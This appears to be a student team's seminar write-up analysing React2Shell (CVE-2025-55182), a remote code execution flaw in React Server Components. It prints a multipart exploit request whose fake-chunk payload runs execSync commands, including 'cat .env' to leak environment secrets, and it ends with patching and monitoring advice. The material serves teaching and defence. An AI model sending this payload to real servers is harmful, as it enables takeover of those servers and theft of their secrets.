
[Woori FISA] Ganador del seminario técnico - Desarrollo de servicios en la nube, 6.ª generación, equipo 3 - Análisis e investigación de React2Shell (CVE-2025-55182)
Seminario técnico de Woori FISA, 6.ª promoción - Equipo 3: análisis e investigación de React2Shell, una vulnerabilidad de ejecución remota de código (RCE) que explota un defecto de diseño de React Server Component (RSC)

| Miembro | Rol | GitHub |
|---|---|---|
| 남인서 | Investigación de materiales, elaboración de PPT, presentación | @sene03 |
| 유승준 | Investigación de materiales, elaboración de PPT, presentación | @fluanceifi |
| 이수현 | Investigación de materiales, elaboración de PPT | @hyun793 |
| 김유정 | Investigación de materiales, elaboración de PPT | @yujung23 |
React2Shell (CVE-2025-55182) es una vulnerabilidad de seguridad crítica descubierta en el proceso de comunicación del Flight Protocol utilizado por React Server Component (RSC).
React utiliza el Flight Protocol, que admite tipos complejos como Promise, Blob y Map, además de cadenas y arrays, para procesar componentes.
| Expresión | Tipo | Descripción |
|---|---|---|
$$ | $ escapado | Cadena literal que comienza con $ |
$@ | Promise/Chunk | Referencia al ID de chunk |
Los atacantes aprovechan las vulnerabilidades en el procesamiento del flujo de este protocolo para inyectar scripts maliciosos y obtener el control del servidor.
El atacante envía datos JSON al servidor mediante una petición que incluye las cabeceras Next-Action y multipart/form-data. En el cuerpo de la petición incluye un chunk falso (Fake Chunk) disfrazado como un objeto Promise.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
Chunk.prototype.then se asigna al then del chunk falso enviado por el atacante._prefix se introduce como argumento de Function.thenable de una Promise, el código arbitrario plantado por el atacante se ejecuta en el servidor.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value, React divide la cadena por los dos puntos (:) y recorre el interior del objeto.$1:__proto__:then, se puede acceder al prototipo del chunk e incluso al then de ese objeto (Chunk.prototype.then).then del chunk real, por lo que se ejecuta el código que el atacante había planeado.Esta vulnerabilidad provocó una gran conmoción en todo el ecosistema web moderno.
El incidente de React2Shell dejó la lección de que "los desarrolladores de frontend también deben comprender la seguridad del servidor".
Actualice de inmediato los paquetes relacionados, como react-server-dom-webpack, a la versión más reciente (19.0.1+, etc.)
Los frameworks que incorporan RSC, como Next.js, no se solucionan simplemente actualizando React, por lo que es necesario revisar las notas de la versión de seguridad del propio framework y actualizarlo a la última versión.
Utilice sistemas de monitorización como Grafana y conéctelos a canales capaces de enviar alertas, como correo electrónico o Slack, configurando alarmas para poder tomar medidas inmediatas.
Debemos ser conscientes de que, a medida que la tecnología ha ampliado el alcance del frontend, también se ha ampliado el ámbito de la responsabilidad en materia de seguridad.
React2Shell: Guía de análisis completo de la vulnerabilidad CVE-2025-55182
Análisis de la vulnerabilidad de React Server Components y las rutas de penetración del sistema